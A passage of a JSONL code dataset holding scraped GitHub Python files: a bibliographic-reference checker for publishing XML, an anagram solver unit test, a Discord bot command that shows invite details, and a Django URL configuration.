output\nprint(length_and_value(4,7))\nprint(length_and_value(6,2))","repo_name":"lKOAl/python","sub_path":"introduction/functions_basic_ii.py","file_name":"functions_basic_ii.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"12615416657","text":"import os\r\nimport sys\r\nfrom tika import parser\r\n\r\ndef BRX010(filepath,jsspath):\r\n try:\r\n \r\n final = []\r\n jss = open(jsspath,\"r\",encoding=\"utf-8\")\r\n soup = BeautifulSoup(jss,'xml')\r\n string = \"\"\r\n k = soup.find_all('refStyle')\r\n string = k[0].text\r\n if (string[0].isdigit() and (string[0] in ['2','4','5','7','8','9b'])):\r\n file = open(filepath,'r',encoding='utf-8').read()\r\n soup1 = BeautifulSoup(file, 'xml')\r\n soup2 = str(soup1)\r\n bib_refs = soup1.find_all('bib-reference')\r\n a={}\r\n for j in bib_refs:\r\n label = j.find_all('label')[0].text\r\n sname = j.find_all('surname')\r\n sb_ref = j.find_all('reference')\r\n lid = j['id']\r\n if sb_ref !=[] and sb_ref[0].find_all('date') !=[]:\r\n date = sb_ref[0].find_all('date')[0].text\r\n matches = [x.text for x in sname if x.text in label]\r\n if len(matches) > 1:\r\n matches.append(date)\r\n a[lid] = \" \".join(matches)\r\n \r\n d={}\r\n for key,value in a.items():\r\n d.setdefault(value,set()).add(key)\r\n \r\n l = list(set(chain.from_iterable(values for key, values in d.items() if len(values) > 1)))\r\n \r\n if l != []:\r\n f=[]\r\n for i in l:\r\n cross_ref = soup1.find_all('cross-ref', refid = i)[0].text\r\n fnames = soup1.find_all('bib-reference', id = i)[0].find_all('given-name')\r\n b=[]\r\n \r\n for j in fnames:\r\n b.append(j.text)\r\n \r\n if len([x for x in b if x in cross_ref]) > 1:\r\n continue\r\n elif len([x for x in b if x in cross_ref]) == 1:\r\n index = soup2.index(cross_ref)\r\n f = [\"BRX010\",\"jid\",\"aid\",\"Error\",str(index),\"First Names of some authors are missing!\"]\r\n final.append(f)\r\n elif len([x for x in b if x in cross_ref]) == 0:\r\n index = soup2.index(cross_ref)\r\n f = [\"BRX010\",\"jid\",\"aid\",\"Error\",str(index),\"First Names of all authors are missing!\"]\r\n final.append(f)\r\n \r\n if final == []:\r\n f = [\"BRX010\",\"Bibliographic reference cross-references\",\"the phrase 'and co-workers' in journals with numbered reference styles is acceptable if an author has used it in citing multiple references\",\"no error\"]\r\n final.append(f)\r\n else:\r\n f = [\"BRX010\",\"Bibliographic reference cross-references\",\"the phrase 'and co-workers' in journals with numbered reference styles is acceptable if an author has used it in citing multiple references\",\"no error\"]\r\n final.append(f)\r\n \r\n else:\r\n f = [\"BRX010\",\"Bibliographic reference cross-references\",\"the phrase 'and co-workers' in journals with numbered reference styles is acceptable if an author has used it in citing multiple references\",\"no error\"]\r\n final.append(f)\r\n \r\n return final\r\n \r\n except Exception as e:\r\n final = []\r\n f = [\"BRX010\",\"Bibliographic reference cross-references\",\"the phrase 'and co-workers' in journals with numbered reference styles is acceptable if an author has used it in citing multiple references\",\"no error\"]\r\n final.append(f)\r\n \r\n return final\r\n","repo_name":"TarunGandotra/flask_ui","sub_path":"main_codes/Brx010.py","file_name":"Brx010.py","file_ext":"py","file_size_in_byte":3703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"70510256963","text":"#!/usr/bin/env python\n\nimport unittest\n\nfrom anagram import solve\n\n\nclass TestSolve(unittest.TestCase):\n\n def test_runner_1(self):\n data = \"Herlo wolld\"\n out, score = solve.runner(data)\n self.assertTrue(score > 0)\n return True\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"aphexcreations/anagram","sub_path":"tests/test__solve.py","file_name":"test__solve.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"22453351980","text":"import disnake\nfrom disnake.ext import commands\nfrom __main__ import download, image_color, translate\n\n\nclass Invite(commands.Cog):\n def __init__(self, bot):\n @bot.slash_command(description='Показывает инфу об инвайте')\n async def invite(ctx, invite_code: str):\n await ctx.response.defer(ephemeral=True)\n inv = invite_code.split('/')[::-1][0]\n try:\n i = await bot.fetch_invite(inv)\n if not i:\n print(0 / 0)\n except:\n return await ctx.send(translate(ctx, 'invalid_invite'), ephemeral=True)\n if i.guild.icon:\n download(i.guild.icon.with_format('png').with_size(64).url, f'tmp/{i.guild.id}.png')\n color = image_color(f'tmp/{i.guild.id}.png')\n else:\n color = 0\n emb = disnake.Embed(\n title=i.guild.name,\n description=(i.guild.description or translate(ctx, 'no_descr')) + '\\n\\n' + f'''\n {translate(ctx, 'inviter')}: {i.inviter or '???'}\n '''.strip(),\n timestamp=i.guild.created_at,\n color=color\n )\n b = i.guild.banner\n ico = i.guild.icon\n\n emb.set_footer(text='ID: ' + str(i.guild.id))\n if ico: emb.set_thumbnail(ico.url)\n if b: emb.set_image(b.url)\n\n await ctx.send(embed=emb, ephemeral=True)\n\n\ndef setup(bot): bot.add_cog(Invite(bot))\n","repo_name":"LazyCat2/CuteCatto","sub_path":"commands/invite.py","file_name":"invite.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"135621648","text":"from django.contrib import admin\nfrom django.urls import path\nfrom django.urls.conf import include, include\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n # incluyo las url de mi app\n path('servicios/', include('servicios.urls')),\n path('blog/', include('blog.urls')),\n path('contacto/', include('contacto.urls')),\n path('tienda/', include('tienda.urls')),\n path('carro/', include('carro.urls')),\n path('', include('ProyectoWebApp.urls')),\n]\n","repo_name":"NahuelFrias/ProyectoTiendaPythonDjango","sub_path":"ProyectoWeb/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"}